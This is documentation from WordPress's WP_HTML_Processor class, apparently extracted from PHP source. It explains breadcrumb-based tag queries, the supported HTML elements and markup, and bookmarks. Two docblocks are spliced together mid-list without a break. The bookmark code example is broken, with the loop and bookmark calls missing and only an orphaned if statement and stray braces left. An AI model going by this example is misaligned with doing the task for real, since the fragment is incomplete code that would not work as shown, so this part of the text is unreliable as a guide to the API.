/**
* HTML API: WP_HTML_Processor class
*
* @package WordPress
* @subpackage HTML-API
* @since 6.4.0
*/
/**
* Core class used to safely parse and modify an HTML document.
*
* The HTML Processor class properly parses and modifies HTML5 documents.
*
* It supports a subset of the HTML5 specification, and when it encounters
* unsupported markup, it aborts early to avoid unintentionally breaking
* the document. The HTML Processor should never break an HTML document.
*
* While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
* attributes on individual HTML tags, the HTML Processor is more capable
* and useful for the following operations:
*
* - Querying based on nested HTML structure.
*
* Eventually the HTML Processor will also support:
* - Wrapping a tag in surrounding HTML.
* - Unwrapping a tag by removing its parent.
* - Inserting and removing nodes.
* - Reading and changing inner content.
* - Navigating up or around HTML structure.
*
* ## Usage
*
* Use of this class requires three steps:
*
* 1. Call a static creator method with your input HTML document.
* 2. Find the location in the document you are looking for.
* 3. Request changes to the document at that location.
*
* Example:
*
* $processor = WP_HTML_Processor::create_fragment( $html );
* if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
* $processor->add_class( 'responsive-image' );
* }
*
* #### Breadcrumbs
*
* Breadcrumbs represent the stack of open elements from the root
* of the document or fragment down to the currently-matched node,
* if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
* to inspect the breadcrumbs for a matched tag.
*
* Breadcrumbs can specify nested HTML structure and are equivalent
* to a CSS selector comprising tag names separated by the child
* combinator, such as "DIV > FIGURE > IMG".
*
* Since all elements find themselves inside a full HTML document
* when parsed, the return value from `get_breadcrumbs()` will always
* contain any implicit outermost elements. For example, when parsing
* with `create_fragment()` in the `BODY` context (the default), any
* tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
* in its breadcrumbs.
*
* Despite containing the implied outermost elements in their breadcrumbs,
* tags may be found with the shortest-matching breadcrumb query. That is,
* `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
* matches all IMG elements directly inside a P element. To ensure that no
* partial matches erroneously match it's possible to specify in a query
* the full breadcrumb match all the way down from the root HTML element.
*
* Example:
*
* $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
* // ----- Matches here.
* $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
*
* $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
* // ---- Matches here.
* $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
*
* $html = '<div><img></div><img>';
* // ----- Matches here, because IMG must be a direct child of the implicit BODY.
* $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
*
* ## HTML Support
*
* This class implements a small part of the HTML5 specification.
* It's designed to operate within its support and abort early whenever
* encountering circumstances it can't properly handle. This is
* the principle way in which this class remains as simple as possible
* without cutting corners and breaking compliance.
*
* ### Supported elements
*
* If any unsupported element appears in the HTML input the HTML Processor
* will abort early and stop all processing. This draconian measure ensures
* that the HTML Processor won't break any HTML it doesn't fully understand.
*
* The following list specifies the HTML tags that _are_ supported:
*
* - Links: A.
* - The formatting elements: B, BIG, CODE, EM, FONT, I, SMALL, STRIKE, STRONG, TT, U.
* - Containers: DIV, FIGCAPTION, FIGURE, SPAN.
* - Form elements: BUTTON.
* - Paragraph: P.
* - Void elements: IMG.
*
* ### Supported markup
*
* Some kinds of non-normative HTML involve reconstruction of formatting elements and
* re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
* may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
* such a case it will stop processing.
*
* The following list specifies HTML markup that _is_ supported:
*
* - Markup involving only those tags listed above.
* - Fully-balanced and non-overlapping tags.
* - HTML with unexpected tag closers.
* - Some unbalanced or overlapping tags.
* - P tags after unclosed P tags.
* - BUTTON tags after unclosed BUTTON tags.
* - A tags after unclosed A tags that don't involve any active formatting elements.

* Sets a bookmark in the HTML document.
*
* Bookmarks represent specific places or tokens in the HTML
* document, such as a tag opener or closer. When applying
* edits to a document, such as setting an attribute, the
* text offsets of that token may shift; the bookmark is
* kept updated with those shifts and remains stable unless
* the entire span of text in which the token sits is removed.
*
* Release bookmarks when they are no longer needed.
*
* Example:
*
* <main><h2>Surprising fact you may not know!</h2></main>
* ^ ^
* \-|-- this `H2` opener bookmark tracks the token
*
* <main class="clickbait"><h2>Surprising fact you may no…
* ^ ^
* \-|-- it shifts with edits
*
* Bookmarks provide the ability to seek to a previously-scanned
* place in the HTML document. This avoids the need to re-scan
* the entire document.
*
* Example:
*
* <ul><li>One</li><li>Two</li><li>Three</li></ul>
* ^^^^
* want to note this last item
*
* $p = new WP_HTML_Tag_Processor( $html );

*
* if ( 'LI' === $p->get_tag() ) {

* }
* }
*
* Bookmarks intentionally hide the internal string offsets
* to which they refer. They are maintained internally as
* updates are applied to the HTML document and therefore
* retain their "position" - the location to which they
* originally pointed. The inability to use bookmarks with
* functions like `substr` is therefore intentional to guard
* against accidentally breaking the HTML.
*
* Because bookmarks allocate memory and require processing
* for every applied update, they are limited and require
* a name. They should not be created with programmatically-made
* names, such as "li_{$index}" with some loop. As a general
* rule they should only be created with string-literal names
* like "start-of-section" or "last-paragraph".
*
* Bookmarks are a powerful tool to enable complicated behavior.
* Consider double-checking that you need this tool if you are
* reaching for it, as inappropriate use could lead to broken
* HTML structure or unwanted processing overhead.
